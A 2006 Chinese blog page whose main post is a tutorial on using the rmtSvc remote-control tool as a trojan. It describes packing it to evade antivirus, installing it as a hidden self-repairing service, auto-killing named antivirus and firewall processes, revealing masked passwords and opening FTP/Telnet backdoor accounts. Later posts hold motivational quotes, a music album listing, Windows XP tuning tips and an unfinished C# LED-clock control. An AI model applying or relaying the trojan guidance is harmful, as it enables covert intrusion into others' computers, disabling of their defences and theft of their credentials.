听说过灰鸽子、冰河等可以实现远程控制,但你听说过IE也可以实现吗?不错,一款基于IE的新鲜工具——rmtSvc&vIDC即可让微软的IE成为一个超级黑客帮凶。本文除了将为你展现rmtSvc&vIDC是如何基于IE远程控制肉鸡以外,更在如何“暗杀”杀毒软件、攻击思路上有较强的指导性。

  如果我问你IE能做什么?你的答案绝对不完整!IE可不仅仅能浏览网页。如果我再告诉你IE还能用来远程控制、远程传输、进程管理、代理服务,甚至远程开启Telnet、FTP服务等等呢?你一定觉得不可思议吧,有了rmtSvc&vIDC,这一切皆有可能!

一、有IE 想黑就黑

  简单点说,rmtSvc是一款集FTP、Telnet服务、Proxy服务以及vIDC服务的远程控制工具。用户可以通过此款工具方便地对远程计算机进行控制。此工具和其它远程控制工具不同,它采用B/S结构(无需安装),用户可通过浏览器进行远程控制(我们的口号是:有IE,想黑就黑!)。

  下面,笔者就以入侵控制的实例来为大家分别介绍rmtSvc常用功能的使用方法及技巧。解压下载后的压缩包,先别急着让rmtSvc.exe在目标机运行(未加壳的程序会遭到杀毒软件的查杀),笔者先告诉大家如何给源程序加壳从而避免被查杀吧(不然就没得玩了-_-|)。运行该软件,进入“选项”菜单,勾选“保留额外数据”,然后“打开文件”,选择源程序rmtSvc.exe后就会自动压缩了。

  特别提醒:压缩后的rmtSvc.exe不会被杀毒软件查杀,而且文件体积会减少近50%(经过金山毒霸6增强版、KV2005、诺顿2005测试),如果想进一步增强隐蔽性,请参考电脑报2004年第50期G9版《披着羊皮的狼——将Radmin改造为百分百木马》一文介绍的“超级捆绑”软件的使用方法。木马程序的欺骗发送本文就不作进一步讨论了。

二、武装rmtSvc “暗杀”杀毒软件

  1.打开浏览器输入http://IP:port(其中IP为被控机的IP地址,port为rmtSvc的服务端口,默认为7778)。连接成功后将会看到如图1的欢迎登录画面,输入访问密码(默认为123456),就可以进行rmtSvc所支持的操作(如果之前已经连同msnlib.dll和webe目录都发给了对方,那么rmtSvc将会多出用MSN进行远程控制和HTTP方式文件管理的功能)。

  2.欢迎登录画面的上方为rmtSvc的系统菜单,从左至右的功能依次为:Pview (进程查看)、Spy++(远程控制管理)、Proxy(启动或停止rmtSvc的代理服务)、vIDC(设置vIDCs的访问权限)、logoff(注销对rmtSvc登录)、Option(配置rmtSvc的运行参数)、About(rmtsvc欢迎/登录画面)。

3.第一次登录需进入rmtSvc的参数设置更改敏感信息(图2),这样才能保障其安全性。先在“Modify Password”修改rmtSvc访问密码,再在“Service Port”更改rmtSvc服务端口为任意一个4位不常用的端口(需要重启服务才会生效,建议设为高端端口)。然后将“Start Control、Stolen mode”选上,这样rmtSvc会自动安装为Windows服务随机启动且服务为隐藏属性,这也就意味着在下次启动时,你可以继续控制目标机器。

  4.接下来在“Start mode”选项中,设置rmtSvc运行后自动启动FTP和Telnet服务(另外还有Proxy、vIDCs映射等)。通过FTP可以方便地进行文件上传下载。再将“Auto install service”和“Forbid detaching Dll”选择上,这样每次程序运行时会自动检测rmtSvc服务是否已安装,如果没有安装则自动安装为服务(相当于自我修复功能)并释放一个DLL文件(可修改文件名,默认为inject.dll),这是为了防止自动释放的未加壳的DLL被杀毒软件查杀,用户可以选择不释放DLL。手工将加壳后的DLL拷入到被控机的系统目录下,在释放DLL的名称处填入你加壳后的DLL名称。

  高手传经:rmtSvc释放的DLL主要有以下用处:隐藏进程、模拟“Ctrl+Alt+Del”按键、显示密码框密码、监视rmtSvc运行情况。如果异常退出或被杀掉则会自动重新启动将配置参数写入rmtSvc程序本身(强烈建议选择)。

  5.接下来在“Killed Program”中,设定rmtSvc监视并自动杀掉的进程名称,如有多个进程,各个名称之间以逗号分隔。例如输入:PFW.exe,KAVSvc.exe就可以把金山毒霸和天网防火墙关闭。

  6.一切设置无误后,点击“Save”保存当前配置,在弹出的对话框中输入reg,将配置参数写入到注册表。输入self则是将配置参数写入该EXE文件自身,如果填写其它则会生成相应文件名的.exe的副本,并将配置参数写入此EXE副本。例如:输入c:\abc.exe,将在c盘根目录下生成一个abc.exe副本,并将配置参数写入此副本。

  7.随后rmtSvc服务会重新启动运行。

  高手传经:隐藏模式下才可以将配置参数写入EXE本身,如果没有保存,每次在rmtSvc正常退出时也会将配置参数写入EXE本身。

  8.再次使用新设密码登录后,单击Pview进入“进程查看”页面,在这里将显示三个部分的信息:系统信息、进程/模块信息、CPU/内存使用信息。在页面的右边为进程模块显示区域,点击某个进程名则显示此进程的相关模块信息,点击“Kill It”按钮就可以杀掉该进程(需要注意的是进程列表不会实时自动刷新,用户必须手工刷新)。现在你的rmtSvc已经被武装到了牙齿,还等什么,可以出手了。

三、用IE控制过把瘾

  把挡路的安全软件给“暗杀”后,接下来就可以趁对方不在时使用Spy++远程控制管理来远程控制机器了。当然在控制前我们需要将相关参数设置妥当,这样才能得到更好的控制效果。

  1.在“Quality”显示效果中选择Good(好),“Stretch”设置捕获图像的缩小比率80%。最后将“Cursor”选上,这样在捕获远程计算机屏幕时就会连同鼠标光标一起捕捉,以便用户知道当前鼠标光标位置。设置好后点击“Set”使上述三个参数生效。

2.接下来就可以尝试控制了。当远程桌面图像处于焦点状态(鼠标在图像区域内),你就可以直接敲击键盘发送按键信息,和你操作本地机器一样。但是对于输入大段的文本这是非常不方便的,因为你的每次按键动作都会作为一次HTTP请求发出,输入速度很慢。

  如果你想输入大段文本,可以将鼠标选中Input输入框,然后输入你想要发送的文本,按下回车即可;如果选中了Crlf复选框,则在你输入的文本后面会自动加入回车换行。

  3.但是在进行远程计算机登录时,有些机器可能无法通过Input输入框直接输入登录密码,只能通过模拟键盘输入登录密码。方法如下:通过鼠标直接点击桌面图像,系统会自动识别你的鼠标的单击、双击键信息。如果你在按下鼠标的同时按下了“Shift”、“Alt”或“Ctrl”键,系统也能自动识别。

  4.为了更方便地控制远程桌面,可以将远程桌面图像设为自动刷新,这样就不会出现有动作发出而图像没有变化需要手工刷新的情况了。方法如下,勾选“Auto-refresh”项,在右边输入自动刷新间隔,默认为500ms。

  高手传经:如果想知道远程被控机中密码框中的密码。则需要用到Password→Text项,在有密码框时此项会变为Text→Password。此时只要用鼠标左键点击远程桌面图像的密码输入框,则远程被控机密码框中的密码会被翻译成明文显示。如果你取消此项功能,点击Text→Password项即可,此时此项就会变为Password→Text。

  5.如果要远程执行程序,选择Start下拉列表框的Run项,输入你要远程执行的文件名和参数即可,使用方法和Windows的开始菜单的运行命令一致。

  如此这般,通过IE就能像操作本机一样控制目标机了。

四、FTP/Telnet 一个都不能少

  远程控制似乎并不能让我们感到满足,那就再来开启对方的FTP/Telnet服务,彻底过把入侵瘾吧。

  1.进入“FTP&Telnet”菜单,点击FTP/Telnet服务旁边的“Run”就可以启动相关服务了。FTP/Telnet port:设置FTP/Telnet服务的端口,默认FTP为2121,Telnet为2323。Anonymous access:设置访问FTP服务的权限,是否允许匿名访问(enable),如果不允许则设置访问的用户名和密码。

  2.另外,我们还要允许设置不同访问的账号,每个账号可以指定是否可写/可删除/可执行以及设置不同的FTP根目录。可以在FTP设置的文本输入框中输入多个访问账号信息,各个账号信息用回车换行分隔,账号信息格式如下:

  [账号名] SP [密码] SP [访问权限] SP [允许访问的目录] CRLF

  高手传经:设置PERMISSION(访问权限)时,0:仅仅只读,1:可写,3:可写并且可删除 7:可写可删除可执行。例如:[cytkk] sp [123456] sp [7] sp [c:] 就建立了一个拥有管理员权限,密码为123456的cytkk账户。

  3.此时FTP账号信息仅仅写入注册表保存,不会保存到EXE中。

  现在就可以利用FTP工具和Windows自带的Telnet工具进行登录和操作了,此时你想怎么玩就怎么玩吧!

  到此,rmtSvc基本功能的使用大家就已经学会了,限于篇幅,它更多的功能就不在此一一举例了,有兴趣的朋友可以通过论坛与我们共同探讨。

- 作者: 米琪米 2006年06月25日, 星期日 03:42  回复(2) |  引用(1) 加入博采

加油吧朋友们人生就是这样的.
1、大多数人想要改造这个世界,但却罕有人想改造自己。

2、积极的人在每一次忧患中都看到一个机会,而消极的人则在每个机会都看到某种忧患。

3、莫找借口失败,只找理由成功。(不为失败找理由,要为成功找方法)

4、伟人之所以伟大,是因为他与别人共处逆境时,别人失去了信心,他却下决心实现自己的目标。

5、世上没有绝望的处境,只有对处境绝望的人。

6、当你感到悲哀痛苦时,最好是去学些什么东西。学习会使你永远立于不败之地。

7、世界上那些最容易的事情中,拖延时间最不费力。

8、人之所以能,是相信能。

9、一个有信念者所开发出的力量,大于99个只有兴趣者。

10、每一发奋努力的背后,必有加倍的赏赐。

11、人生伟业的建立,不在能知,乃在能行。

12、任何的限制,都是从自己的内心开始的。

13、含泪播种的人一定能含笑收获。

14、欲望以提升热忱,毅力以磨平高山。

15、一个能从别人的观念来看事情,能了解别人心灵活动的人永远不必为自己的前途担心。

16、一个人最大的破产是绝望,最大的资产是希望。

17、不要等待机会,而要创造机会。

18、如果寒暄只是打个招呼就了事的话,那与猴子的呼叫声有什么不同呢?事实上,正确的寒暄必须在短短一句话中明显地表露出你对他的关怀。

19、昨晚多几分钟的准备,今天少几小时的麻烦。

20、做对的事情比把事情做对重要。

21、人格的完善是本,财富的确立是末。

22、没有一种不通过蔑视、忍受和奋斗就可以征服的命运。

23、行动是治愈恐惧的良药,而犹豫、拖延将不断滋养恐惧。

24、没有天生的信心,只有不断培养的信心。

25、只有一条路不能选择——那就是放弃的路;只有一条路不能拒绝——那就是成长的路。

26、人性最可怜的就是:我们总是梦想着天边的一座奇妙的玫瑰园,而不去欣赏今天就开在我们窗口的玫瑰。

27、征服畏惧、建立自信的最快最确实的方法,就是去做你害怕的事,直到你获得成功的经验。

28、失败是什么?没有什么,只是更走近成功一步;成功是什么?就是走过了所有通向失败的路,只剩下一条路,那就是成功的路。

29、让我们将事前的忧虑,换为事前的思考和计划吧!

30、再长的路,一步步也能走完,再短的路,不迈开双脚也无法到达。

31、任何业绩的质变都来自于量变的积累。

32、成功不是将来才有的,而是从决定去做的那一刻起,持续累积而成。

- 作者: 米琪米 2006年05月28日, 星期日 21:40  回复(1) |  引用(1) 加入博采

手绘二战飞机
手绘二战飞机



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- 作者: 米琪米 2006年05月21日, 星期日 22:20  回复(1) |  引用(1) 加入博采

施艾敏《发烧杰伦》
施艾敏《发烧杰伦》[192k/mp3]



施艾敏《发烧杰伦》




专辑名称:发烧杰伦
唱片公司:怡人唱片
歌手姓名:施艾敏
发行日期:2006年05月09日
专辑语言:国语专辑
专辑简介:



仿如一场精挑细选而又囊括全面的发声游戏, 在全然不同的音乐氛围中, 女孩的歌唱竟有如此全然不同的清晰…… Sammy intraocular 发烧杰伦 Hi-Fi新赏听,杰出的歌和无与伦比的歌声……
《发烧杰伦》里的歌都是周杰伦的,所以意念中它们是个性、另类的,《发烧杰伦》里演绎它们的是施艾敏,音乐居然变得淡然、细腻、唯美。用一样的音乐元素,呈现出迥然不同的听觉效果。谁开口唱了,就是谁的故事,现在让我们绕开那个喜欢用带帽衫罩住自闭、语出惊人的原唱,到《发烧杰伦》里倾听一个女生的叙述,没有了我们习惯的、属于杰伦特质:节奏带来的颓然、欲言又止、刺激呛声后的缓滞,代而取之的是拥有丝绒般质感的细腻、干净到没有杂质的淡然,含蓄而从容的表达。
专辑的制作者非常清楚,杰伦是无法复制的,但音乐没有限制,风格可以自由无阻,所以,专辑没有像一般翻唱杰伦的歌曲那样,延续R&B的风格。用HI-FI音乐的方式演绎周杰伦,可以说是完全摆脱原唱的新颖尝试。
如果说本来《上海一九四三》里异常生动的鼓让我们看到新世代的怀旧的话,那么在这里,拥有了特色乐器,比如二胡、笛、大鼓的独特编配后,音乐打破了时空界限,置身1943年的上海的感觉忽然逼真起来。《东风破》里异域的东风呼啸破空,在中东、欧陆、华夏风情融合的氛围中,你将听到一个真真切切、委委婉婉诉说情怀的女孩的声音。《七里香》、《安静》和歌名一样芬芳的编曲似乎就是为SAMMY的声音量身定做的。
如果动听和动心是音乐的至高标准,那就无须执着原唱、无须抱着所谓的风格,放心看这次SAMMY施艾敏06年新的HI-FI尝试,安心跟SAMMY玩儿这场精挑细选而又囊括全面的发声游戏吧。

   

曲目

01. 爱情悬崖

02. 发如雪

03. 世界末日

04. 简单爱

05. 东风破

06. 安静

07. 斗牛

08. 七里香

09. 开不了口

10. 龙卷风

11. 上海1943

12. 对不起

试听 七里香



- 作者: 米琪米 2006年05月21日, 星期日 22:17  回复(2) |  引用(1) 加入博采

传说的10个女神
花神

山神

鸟神

树神

水神

雾神

战神

雪神

风神

生命之神
 

- 作者: 米琪米 2006年05月21日, 星期日 22:13  回复(1) |  引用(1) 加入博采

优化机子

1、 缩短等待时间

打开注册表编辑器,找到 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control,将 WaitToKillServiceTimeout 设为:4000(原设
定值:20000)。找到 HKEY_CURRENT_USER\Control Panel\Desktop 键,将右边窗口的 WaitToKillAppTimeout 改为 4000(原设定值:
20000),即关闭程序时仅等待1秒。将 HungAppTimeout 值改为:2000(原设定值:5000),表示程序出错时等待0.5秒。

2、 让系统自动关闭停止响应的程序

打开注册表 HKEY_CURRENT_USER\Control Panel\Desktop 键,将 AutoEndTasks 值设为 1(原设定值:0)。

3、 加速共享查看

打开注册表编辑器,把HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\RemoteComputer\NameSpace
下的 {D6277990-4C6A-11CF-8D87-00AA0060F5BF} 删掉


4、 加快Windows XP的启动:
(1)在注册表中找到:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement\PrefetchParameters,其中有一个键值
名为EnablePrefetcher,把它设为1.

(2)"我的电脑"->"属性"->"高级"->"启动和故障修复"中,点"错误报告",选择"禁用错误汇报"、"但在发生严重错误时通知我"。

(3)点击"编辑",在弹出记事本文件中:
  [Operating Systems]
  timeout=30 //把缺省时间 30 秒改为 0 秒
  multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect //把缺省 fastdetect 改为 nodetect
  注册表修改方法:"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control" ,SystemStartOptions键值改为NODETECT。


5、优化“启动和故障恢复”设置:
右键单击“我的电脑”,点击属性,点击“高级”,在“启动和故障恢复”
一栏中,点击“设置”,其中的“系统失败”一栏中,只选择“自动重新启动”,写入调试信息选择“无”。

6、关闭“Internet时间同步”功能:

如果启用了同步,你的计算机时钟每周就会和 Internet 时间服务器进行一次同步,建议关掉它(一个没多大用的功能)。请依次单击“开始”
→“控制面板”→“日期、时间、语言和区域选项”,然后单击“日期和时间”→“Internet时间”。

7、关闭华医生Dr.Watson:

在"开始"->"运行"中输入"drwtsn32"命令,或者"开始"->"程序"->"附件"->"系统工具"->"系统信息"->"工具"->"Dr Watson",调出系统里的华
医生Dr.Watson ,只保留"转储全部线程上下文"选项,否则一旦程序出错,硬盘会读很久,并占用大量空间。如以前有此情况,请查找user.dmp文件,
删除后可节省几十MB空间。


8、取消对zip文件的支持:

运行,敲入:regsvr32 /u zipfldr.dll 然后回车即可。

9、关掉快速切换功能:

方法如下:控制面板-->用户帐户,点击“更改用户登陆或注销方式”,去掉“使用快速用户切换”就可以了。

10.定制特殊的启动提示
注册表:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
中的"LegaNoticeCaption"是登陆提示语言,“LegalNoticeText”是欢迎词。

11.关闭windows的文件保护
默认状态下是无法删除windows系统和程序文件的,所以警告!!!!!!!!!!!!!!!! 注册表:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
WindowsNT\Curren tVersion \winlogon 中的“SFCDisable”将它的值改为“ffffff9d”

12.windowsXP的内存优化!!!!!!!!!!!!(警告!!!!!以下设置需要有256M以上的内存才能有好的效果!!!)
注册表:
HKEK_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management
中的:禁用内存页面调度: DisablePagingExecutive 值改为“1”
提升系统缓存: LargeSystemCache 值改为“1”

13.修改cpu的二级缓存
在正常情况下,xp会自动识别cpu的二级缓存。但有时xp不会这样做,这样就需要手动优化以改善cpu的
性能。
a.)运行"regedit";

b.)去"[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\
Memory Management\SecondLevelDataCache]";

c.)修改他的十进制:

  AMD Duron: 64(kb);
  CeleronA/celeron2/3/P4A:128;
  PII mobile/PIII E(EB)/P4B/AMD K6-3/AMD THUNDERBird/Cyrix III:256;
  AMD K6-2/PII/P4C/AMD Athlon:512;
  PII Xeon/PIII Xeon/P4E:1024;
e.)重启。

14.修改磁盘缓存以加速xp

  磁盘缓存对xp运行起着至关重要的作用,但是默认的I/O页面文件比较保守。所以,
对于不同的内存,采用不同的磁盘缓存是比较好的做法。

a.)运行 "regedit";

b.)去[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\
Memory Management\IoPageLockLimit];

c.)根据你的内存修改其十六进制值:
64M: 1000;
128M: 4000;
256M: 10000;
512M或更大: 40000.

d.)重启

15.减少磁盘扫描等待时间
在dos下,键入“chkntfs/t:0”

16.解除带宽限制
运行----gpedit.msc-----管理模版-----网络----QoS数据包调度程序---限制可保留带宽---启

动-----下面输入 0 ----确定---------在你的拨号图标右健属性找到网络-----看看有没有QoS

数据包调度程序-------如果没有点安装-----服务------添加----选QoS数据包调度程序----看

看有没有打勾----有就代表成功了--------重启---ok!


17.取消系统休眠支持
右键属性-屏幕保护程序-电源-休眠-取消

18.关掉视频预览
运行一下这个命令:“REGSVR32 /U SHMEDIA.DLL”


19.不能关闭的服务(或者一般不宜关闭的服务)

windows audio声音
cryptographic services -windows更新时用来确认windows 文件指纹的,我更新时才开启一下
DHCP client-静态IP者需要
Logical Disk manager -磁盘管理服务
*Event Log - 系统日志纪录服务,很有用于查找系统毛病
COM+Event system application一些 COM+ 软件需要,检查你的 c:\program files\ComPlus Applications 目录,没东西可以把这个服务关
*Workstation -很多服务都依*这个服务,支持联网和打印/文件共享的
Machine Debug Manager
Network Connections - 上网/局域网要用
*Plug and Play - 即插即用
Protected Storage-储存本地密码和网上服务密码的服务,包括填表时的“自动完成”功能
*Remote Procedure Call (RPC) -系统核心服务
security accounts manager-像 Protected Storage, IIS Admin 才需要
system event notification-记录用户登录/注销/重起/关机信息
shell hardware detection-给有些配置自动启动,像内存棒,和有些cd驱动等
Print Spooler -打印机用的
themes -给xp打扮的东东
*Windows Management Instrumentation - 满重要的服务,是管"服务依*"的

20.卸载无用的动态链接

  资源管理器经常在内存中留下无用的动态链接,为了消除这种现象,你可以打开注册表编辑器,设置键值:HKEY_LOCAL_MACHINE\
SOFTWARE \Microsoft\Windows\CurrentVersion\Explorer\AlwaysUnloadDLL(字符串值)将其设为1
21.在关机时清空页面文件
打开“控制面板”,点击“性能和维护”-“管理工具”→“本地安全策略”→“本地策略”→“安全选项”,双击其中“关机:清理虚拟内存页面文件”
一项,点击弹出选单中的“已启用”选项,单击“确定”即可

22.Windows XP 安装好后,如何把FAT 32转化为NTFS

  使用convert命令,在命令行模式下用convert.exe这个命令随时转化的。例如:convert c: fs:ntfs把c盘转化为NTFS

23.验证Windows XP是否已激活

  在运行中输入“oobe/msoobe /a”;版本号可以通过WINDOWS(XP安装目录)system32/NTOSKRNL.EXE,鼠标右键 -> 选内容查看即可

24、删除Windows XP中不需要的组件

1)、删除系统文件备份,执行sfc.exe /purgecache

2)、删除驱动备份,删除WINDOWS(XP安装目录)\driver cache\i386目录下的Driver.cab文件

3)、删除DLL备份文件,目录为WINDOWS(XP安装目录)\system32\dllcache,

4)、删除WINDOWS(XP安装目录)\ime下不用的输入法

25.让IE使用多线程下载网页:注册表子键:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings,
新建DWORD值.
“MaxConnectionsPerServer”,此项的作用是决定最大同步下载的连线数目,一般5~8个连线数目比较好。另外,
对于HTTP 1.0服务器,可以加入名为“MaxConnectionsPer1_0Server”的双字节值项,其值也是设置最大同步下载的数目。


26.到微软站点下载Bootvis.exe文件,启动它,
依次选择菜单里面的Trace--Optimize System,这时候系统会提示是否重新启动,选择启动,重启登录以后什么都别动,过一段时间会自动
弹出一个对话框,对话框上写着系统分析的意思,你什么都别做,要一直等到提示分析完毕以后才能够操作你的系统,分析时间有点长,请
耐心等待。


27.桌面图标的小箭头去除
首先,单击“开始”按钮,选择“运行”,在运行对话
框中键入regedit后回车,即可进入注册表编辑器,选择HKEY_CLASSES_ROOT
\lnkfile,在右边的窗口中找到字符串值“isshortcut”,按DELETE键将其
删除。然后,仍在HKEY_CLASSES_ROOT \ 下找到piffile,同样在其右边窗
口中将字符串值“isshortcut” 按 DELETE键将其删除。最后,关闭注册
表编辑器,重新启动WINDOWS,那个烦人的小箭头已经没有了。

- 作者: 米琪米 2006年05月11日, 星期四 21:00  回复(1) |  引用(1) 加入博采

我们学校风景大家来看看罗

  学校的大门

 大礼堂

- 作者: 米琪米 2006年04月3日, 星期一 17:15  回复(4) |  引用(1) 加入博采

使用C#编写LED样式时钟控件
//--------------------------(如转载,请保留版权信息)-------------------------//
// ------------------moweiq2@163.com莫伟琪编程--------------------------//
// ----------------------------- moweiqi2.bokee.com----------------------//
// -------------------- 未经书面许可,请勿用于商业用途 --------------------//

using System;

namespace BrawDraw.Com.PhotoFrame.Net.PublicFunctions.Clock
{
 /// <summary>
 /// Clock's Style.时钟的样式定义
 /// </summary>
 public enum SevenSegmentClockStyle
 {
  DateOnly, // 只显示日期
  TimeOnly, // 只显示时间
  DateAndTime //显示日期和时间
 }
}

//--------------------------(如转载,请保留版权信息)-------------------------//
// ------------------moweiq2@163.com莫伟琪编程--------------------------//
// ----------------------------- moweiqi2.bokee.com----------------------//
// -------------------- 未经书面许可,请勿用于商业用途 ---------------------//
using System;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Globalization;
using System.Windows.Forms;
using BrawDraw.Com.PhotoFrame.Net.PublicFunctions;
using System.ComponentModel;

namespace BrawDraw.Com.PhotoFrame.Net.PublicFunctions.Clock
{
//这是控件的关键代码
 public class SevenSegmentClock : UserControl
 {
  DateTime _dateTime;
//默认使用同时绘制日期和时间
  SevenSegmentClockStyle _clockStyle = SevenSegmentClockStyle.DateAndTime;
  Color _clockColor = Color.Black;
//是否绘制阴影(即残影),以摸拟真似的LED时钟
  bool _isDrawShadow = true;

  Timer _timer    = null;
//是否自动更新时间
  bool _isTimerEnable = false;
  Graphics g = null;
  Bitmap m_Bitmap = null;

  public bool IsDrawShadow
  {
   get { return this._isDrawShadow; }
   set
   {
    this._isDrawShadow = value;
    this.Invalidate();
   }
  }

  [Browsable(false)]
  public System.Windows.Forms.Timer Timer
  {
   get { return this._timer; }
   set
   {
    this._timer = value;
    if(_timer != null)
    {
     _timer.Tick    += new EventHandler(TimerOnTick);
    }
   }
  }

  public bool IsTimerEnable
  {
   get { return this._isTimerEnable; }
   set
   {
    if(value == true)
    {
     if(this._timer == null)
     {
      _timer = new Timer();
      _timer.Tick    += new EventHandler(TimerOnTick);
      _timer.Interval = 1000;
      _timer.Enabled  = true;
     }
    }
    else
    {
     if(this._timer != null)
     {
      _timer.Enabled  = false;
     }
    }
    this._isTimerEnable = value;
   }
  }

  public void Start()
  {
   this.IsTimerEnable = true;
   this.Refresh();
  }

  public void Stop()
  {
   this.IsTimerEnable = false;
  }

  public System.DateTime DateTime
  {
   get { return this._dateTime; }
   set { this._dateTime = value; }
  }

//LED文字的颜色
  public System.Drawing.Color ClockColor
  {
   get { return this._clockColor; }
   set
   {
    this._clockColor = value;
    this.Invalidate();
   }
  }

  public SevenSegmentClockStyle SevenSegmentClockStyle
  {
   get { return this._clockStyle; }
   set
   {
    this._clockStyle = value;
    this.Invalidate();
   }
  }

  public SevenSegmentClock()
  {
   Text = "Seven-Segment Clock";
//使用双缓冲,支持透明绘制
   SetStyle(ControlStyles.UserPaint | ControlStyles.DoubleBuffer | ControlStyles.AllPaintingInWmPaint
    | ControlStyles.ResizeRedraw | ControlStyles.SupportsTransparentBackColor, true);
   this.UpdateStyles();
   Init();
   _dateTime = DateTime.Now;
  }

//初始化
  private void Init()
  {
   m_Bitmap = new Bitmap(this.Width, this.Height);

   g = Graphics.FromImage(m_Bitmap);
   g.CompositingQuality = CompositingQuality.HighQuality;
   g.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit;
   
   //g.InterpolationMode = InterpolationMode.HighQualityBicubic;
   g.SmoothingMode = SmoothingMode.HighQuality;
   //g.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit;
  }

  void TimerOnTick(object obj, EventArgs ea)
  {
   DateTime dtNow = DateTime.Now;
   dtNow = new DateTime(dtNow.Year, dtNow.Month, dtNow.Day, dtNow.Hour, dtNow.Minute, dtNow.Second);
   if (dtNow != _dateTime)
   {
    _dateTime = dtNow;
    Invalidate();
   }
  }

  protected override void OnPaint(PaintEventArgs e)
  {
   m_Bitmap = DrawClock();
   Graphics gg = e.Graphics;
   gg.CompositingQuality = CompositingQuality.HighQuality;
   gg.DrawImageUnscaled(m_Bitmap, 0, 0);
   //g.Dispose();
  }

  public Bitmap DrawClock()
  {
   return this.DrawClock(this.ClientRectangle);
  }

  private void SevenSegmentClock_Resize(object sender, System.EventArgs e)
  {
   Init();
   this.Refresh();
  }

  private void InitializeComponent()
  {
   //
   // SevenSegmentClock
   //
   this.Name = "SevenSegmentClock";
   this.Size = new System.Drawing.Size(448, 64);
   this.Resize += new System.EventHandler(this.SevenSegmentClock_Resize);
  }

  int _clockStringWidth;
  int _clockStringHeight;
  public int ClockStringWidth
  {
   get
   {
    return _clockStringWidth;
   }
  }
  
  public int ClockStringHeight
  {
   get
   {
  &bsp; return _clockStringHeight;
   }
  }

//绘制时钟
  public Bitmap DrawClock(Rectangle destRect)
  {
   m_Bitmap = new Bitmap(destRect.Width, destRect.Height);
   //m_Bitmap = new Bitmap(destRect.X + this.Width, destRect.Y + this.Height);
   Graphics grfx = Graphics.FromImage(m_Bitmap);
//设置绘图面板的绘制质量等
   grfx.CompositingQuality = CompositingQuality.HighQuality;
   grfx.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit;
   grfx.SmoothingMode = SmoothingMode.HighQuality;

   SevenSegmentDisplay ssd = new SevenSegmentDisplay(grfx);
   ssd.IsDrawShadow = this._isDrawShadow;
   GraphicsState gs = grfx.Save();
   grfx.TranslateTransform(destRect.X, destRect.Y);
   string strTime = string.Empty;
   if(this._clockStyle == SevenSegmentClockStyle.TimeOnly)
   {
    strTime = _dateTime.ToString("T", DateTimeFormatInfo.InvariantInfo);
   }
   else if(this._clockStyle == SevenSegmentClockStyle.DateOnly)
   {
//设置日期格式
    strTime = _dateTime.ToString("yyyy-MM-dd", DateTimeFormatInfo.InvariantInfo);
   }
   else
   {
    strTime = _dateTime.ToString("yyyy-MM-dd", DateTimeFormatInfo.InvariantInfo) + " " + _dateTime.ToString("T", DateTimeFormatInfo.InvariantInfo);
   }

   SizeF  sizef   = ssd.MeasureString(strTime, Font);
   float  fScale  = Math.Min(destRect.Width  / sizef.Width, destRect.Height / sizef.Height);
   Font   font    = new Font(Font.FontFamily, fScale * Font.SizeInPoints);

   sizef = ssd.MeasureString(strTime, font);
   _clockStringWidth = (int)sizef.Width;
   _clockStringHeight = (int)sizef.Height;

   ssd.DrawString(strTime, font, new SolidBrush(this._clockColor),
    (destRect.Width  - sizef.Width) / 2,
    (destRect.Height - sizef.Height) / 2);
   grfx.Restore(gs);
   return m_Bitmap;
  }
 }
}

//--------------------------(如转载,请保留版权信息)-------------------------//
// ------------------moweiq2@163.com莫伟琪编程--------------------------//
// ----------------------------- moweiqi2.bokee.com----------------------//
// -------------------- 未经书面许可,请勿用于商业用途 ---------------------//
using System;
using System.Drawing;
using System.Windows.Forms;

namespace BrawDraw.Com.PhotoFrame.Net.PublicFunctions.Clock
{
//字符绘制的算法
 class SevenSegmentDisplay
 {
  Graphics grfx;
  Brush _brush = Brushes.Black;
  bool _isDrawShadow = true;
  Color _shadowColor = Color.FromArgb(60, Color.White);
  Brush _shadowBrush = null;
  // Indicates what segments are illuminated for all 10 digits

  static byte[,] bySegment = {
         {1, 1, 1, 0, 1, 1, 1},       // 0
         {0, 0, 1, 0, 0, 1, 0},       // 1
         {1, 0, 1, 1, 1, 0, 1},       // 2
         {1, 0, 1, 1, 0, 1, 1},       // 3
         {0, 1, 1, 1, 0, 1, 0},       // 4
         {1, 1, 0, 1, 0, 1, 1},       // 5
         {1, 1, 0, 1, 1, 1, 1},       // 6
         {1, 0, 1, 0, 0, 1, 0},       // 7
         {1, 1, 1, 1, 1, 1, 1},       // 8
         {1, 1, 1, 1, 0, 1, 1}        // 9
           };
  // Points that define each of the seven segments
  readonly Point[][] apt = new Point[7][];

  public bool IsDrawShadow
  {
   get { return this._isDrawShadow; }
   set { this._isDrawShadow = value; }
  }

  public SevenSegmentDisplay(Graphics grfx)
  {
   this.grfx = grfx;
   // Initialize jagged Point array.
   apt[0] = new Point[] {
          new Point( 3,  2), new Point(39,  2),
          new Point(31, 10), new Point(11, 10)
         };

   apt[1] = new Point[] {
          new Point( 2,  3), new Point(10, 11),
          new Point(10, 31), new Point( 2, 35)
         };

   apt[2] = new Point[] {
          new Point(40,  3), new Point(40, 35),
          new Point(32, 31), new Point(32, 11)
         };

   apt[3] = new Point[] {
          new Point( 3, 36), new Point(11, 32),
          new Point(31, 32), new Point(39, 36),
          new Point(31, 40), new Point(11, 40)
         };

   apt[4] = new Point[] {
          new Point( 2, 37), new Point(10, 41),
          new Point(10, 61), new Point( 2, 69)
         };

   apt[5] = new Point[] {
          new Point(40, 37), new Point(40, 69),
          new Point(32, 61), new Point(32, 41)
         };

   apt[6] = new Point[] {
